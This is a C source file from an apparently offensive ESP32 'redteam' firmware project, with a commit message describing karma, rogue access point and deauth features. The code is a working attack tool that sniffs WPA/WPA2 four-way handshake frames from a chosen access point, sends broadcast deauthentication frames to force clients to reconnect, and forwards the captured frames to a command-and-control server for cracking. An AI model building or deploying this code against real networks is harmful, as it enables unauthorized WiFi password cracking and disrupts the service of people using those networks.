espilon-source/espilon_bot/components/mod_redteam/rt_capture.c
Eun0us 2315979db0
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
ε - Add WiFi offensive capabilities to mod_redteam
Phase 1 of v0.4.0 offensive modules:

- Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer
  for stealth scan, karma, capture — solves single-callback ESP-IDF limit
- Attack manager (rt_attack): mutual exclusion ensuring only one
  offensive operation runs at a time
- Deauth refactored to use shared promisc dispatcher + attack lock
- Stealth passive scan migrated to promisc dispatcher
- Karma attack (rt_karma): probe request listener + probe response
  injection + rogue SoftAP with most-requested SSID + DNS responder
- WPA handshake capture (rt_capture): EAPOL frame capture via
  promiscuous DATA filter, 4-way handshake identification, optional
  deauth burst to trigger reconnection
- Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options
- 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients,
  rt_capture, rt_capture_stop (14 total in mod_redteam)
2026-03-01 02:08:28 +01:00

384 lines
12 KiB
C

/*
* rt_capture.c
* WPA/WPA2 4-way handshake capture via promiscuous mode.
*
* Captures EAPOL frames (EtherType 0x888E) from data frames on the
* target channel. Identifies the 4 handshake messages via the Key Info
* field and stores them for transmission to C3PO.
*
* Optionally sends a short deauth burst to trigger client reconnection.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE)
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "rt_capture.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#include "utils.h"
#define TAG "RT_CAPTURE"
/* ============================================================
* EAPOL / 802.1X constants
* ============================================================ */
/* EtherType for 802.1X authentication */
#define ETHERTYPE_EAPOL 0x888E
/* EAPOL Key Info flags (big-endian in the frame) */
#define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */
#define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */
#define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */
#define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */
#define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */
/* IEEE 802.11 data frame with LLC/SNAP encapsulation */
/* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */
/* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */
/* ============================================================
* State
* ============================================================ */
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
static TaskHandle_t s_task = NULL;
static rt_capture_result_t s_result;
/* Capture parameters */
static uint8_t s_target_bssid[6];
static uint8_t s_target_channel;
static bool s_send_deauth;
/* ============================================================
* Identify EAPOL handshake message number from Key Info
* ============================================================
*
* M1: AP→Client ACK=1, MIC=0, Install=0, Pairwise=1
* M2: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1
* M3: AP→Client ACK=1, MIC=1, Install=1, Pairwise=1
* M4: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0
*/
static int identify_eapol_msg(const uint8_t *eapol, size_t len)
{
/* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */
if (len < 99) return 0;
/* 802.1X header: version(1) + type(1) + length(2) */
uint8_t eapol_type = eapol[1];
if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */
/* Key descriptor: type(1) at offset 4 */
/* Key Info at offset 5-6 (big-endian) */
uint16_t key_info = (eapol[5] << 8) | eapol[6];
bool ack = (key_info & KEY_INFO_ACK) != 0;
bool mic = (key_info & KEY_INFO_MIC) != 0;
bool install = (key_info & KEY_INFO_INSTALL) != 0;
if (ack && !mic && !install) return 1; /* M1 */
if (!ack && mic && !install) {
/* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */
/* M4 has all-zero nonce */
bool nonce_zero = true;
for (int i = 17; i < 17 + 32 && i < (int)len; i++) {
if (eapol[i] != 0) { nonce_zero = false; break; }
}
return nonce_zero ? 4 : 2;
}
if (ack && mic && install) return 3; /* M3 */
return 0; /* unknown */
}
/* ============================================================
* Promiscuous callback — look for EAPOL in data frames
* ============================================================ */
static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_DATA) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
const uint8_t *payload = pkt->payload;
size_t pkt_len = pkt->rx_ctrl.sig_len;
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
/* Data frame header: minimum 24 bytes */
if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */
/* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */
uint16_t fc = payload[0] | (payload[1] << 8);
uint8_t to_ds = (fc >> 8) & 0x01;
uint8_t from_ds = (fc >> 9) & 0x01;
const uint8_t *bssid_field;
const uint8_t *src_field;
const uint8_t *dst_field;
if (to_ds == 0 && from_ds == 1) {
/* From AP to client: addr1=dst, addr2=BSSID, addr3=src */
dst_field = payload + 4;
bssid_field = payload + 10;
src_field = payload + 16;
} else if (to_ds == 1 && from_ds == 0) {
/* From client to AP: addr1=BSSID, addr2=src, addr3=dst */
bssid_field = payload + 4;
src_field = payload + 10;
dst_field = payload + 16;
} else {
return; /* WDS or IBSS, skip */
}
/* Filter by target BSSID */
if (memcmp(bssid_field, s_target_bssid, 6) != 0) return;
/* Determine header length (24 or 26 for QoS) */
uint8_t subtype = (fc >> 4) & 0x0F;
size_t hdr_len = 24;
if (subtype >= 8) hdr_len = 26; /* QoS data */
if (pkt_len < hdr_len + 8) return;
/* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */
const uint8_t *llc = payload + hdr_len;
if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return;
/* EtherType at offset 6-7 of LLC/SNAP (big-endian) */
uint16_t ethertype = (llc[6] << 8) | llc[7];
if (ethertype != ETHERTYPE_EAPOL) return;
/* EAPOL frame starts after LLC/SNAP (8 bytes) */
const uint8_t *eapol = llc + 8;
size_t eapol_len = pkt_len - hdr_len - 8;
int msg = identify_eapol_msg(eapol, eapol_len);
if (msg < 1 || msg > 4) return;
/* Store the frame */
int idx = msg - 1;
if (s_result.captured & (1 << idx)) return; /* already have this one */
size_t store_len = eapol_len;
if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN;
memcpy(s_result.frames[idx].data, eapol, store_len);
s_result.frames[idx].len = store_len;
s_result.frames[idx].msg_num = msg;
s_result.captured |= (1 << idx);
/* Track client MAC */
if (msg == 2 || msg == 4) {
memcpy(s_result.client, src_field, 6);
} else {
memcpy(s_result.client, dst_field, 6);
}
ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X",
msg, eapol_len,
s_result.client[0], s_result.client[1], s_result.client[2],
s_result.client[3], s_result.client[4], s_result.client[5]);
/* Check if complete */
if (s_result.captured == 0x0F) {
s_result.complete = true;
ESP_LOGI(TAG, "Full 4-way handshake captured!");
}
}
/* Handler for the promiscuous dispatcher */
static const rt_promisc_handler_t s_capture_handler = {
.cb = capture_promisc_cb,
.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT,
.tag = "capture",
};
/* ============================================================
* Short deauth burst (does NOT use the attack lock — internal use)
* ============================================================ */
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t reason;
} deauth_frame_t;
static void send_deauth_burst(const uint8_t bssid[6], int count)
{
deauth_frame_t frame;
memset(&frame, 0, sizeof(frame));
frame.frame_ctrl = 0x00C0; /* deauth */
frame.reason = 0x0007;
/* Broadcast deauth */
memset(frame.addr1, 0xFF, 6);
memcpy(frame.addr2, bssid, 6);
memcpy(frame.addr3, bssid, 6);
for (int i = 0; i < count; i++) {
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
vTaskDelay(pdMS_TO_TICKS(5));
}
ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count);
}
/* ============================================================
* Capture task
* ============================================================ */
static void capture_task(void *arg)
{
(void)arg;
/* Reset result */
memset(&s_result, 0, sizeof(s_result));
memcpy(s_result.bssid, s_target_bssid, 6);
/* Register promiscuous handler */
esp_err_t ret = rt_promisc_register(&s_capture_handler);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promisc register failed");
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
return;
}
/* Set channel */
if (s_target_channel > 0 && s_target_channel <= 13) {
rt_promisc_set_channel(s_target_channel);
}
rt_promisc_enable();
ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X",
s_target_channel,
s_target_bssid[0], s_target_bssid[1], s_target_bssid[2],
s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]);
/* Optionally send deauth to force reconnection */
if (s_send_deauth) {
vTaskDelay(pdMS_TO_TICKS(500));
send_deauth_burst(s_target_bssid, 5);
}
/* Wait for capture to complete or user stop */
while (atomic_load(&s_active) && !s_result.complete) {
vTaskDelay(pdMS_TO_TICKS(500));
/* Report progress */
if (s_result.captured) {
ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c",
(s_result.captured & 0x01) ? 'Y' : '-',
(s_result.captured & 0x02) ? 'Y' : '-',
(s_result.captured & 0x04) ? 'Y' : '-',
(s_result.captured & 0x08) ? 'Y' : '-');
}
}
/* Send results to C2 if we captured anything */
if (s_result.captured) {
char buf[128];
for (int i = 0; i < 4; i++) {
if (!(s_result.captured & (1 << i))) continue;
/* Format: EAPOL|<bssid>|<client>|M<n>|<hex_data> */
/* Send the raw frame via msg_data for C3PO to process */
snprintf(buf, sizeof(buf),
"EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu",
s_result.bssid[0], s_result.bssid[1], s_result.bssid[2],
s_result.bssid[3], s_result.bssid[4], s_result.bssid[5],
s_result.client[0], s_result.client[1], s_result.client[2],
s_result.client[3], s_result.client[4], s_result.client[5],
i + 1, s_result.frames[i].len);
msg_data(TAG, buf, strlen(buf), false, "");
/* Send the raw EAPOL bytes */
msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len,
(i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))),
"");
}
snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)",
s_result.complete ? "COMPLETE" : "partial",
__builtin_popcount(s_result.captured));
msg_info(TAG, buf, "");
}
rt_promisc_unregister(&s_capture_handler);
rt_promisc_disable();
rt_attack_stop();
ESP_LOGI(TAG, "Capture stopped: %d/4 messages",
__builtin_popcount(s_result.captured));
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth)
{
if (atomic_load(&s_active)) {
ESP_LOGW(TAG, "Capture already running");
return;
}
if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
rt_attack_name());
return;
}
memcpy(s_target_bssid, bssid, 6);
s_target_channel = channel;
s_send_deauth = send_deauth;
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
capture_task,
"rt_capture",
6144,
NULL,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_capture_stop(void)
{
atomic_store(&s_active, false);
}
bool rt_capture_is_active(void)
{
return atomic_load(&s_active);
}
const rt_capture_result_t *rt_capture_get_result(void)
{
return &s_result;
}
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */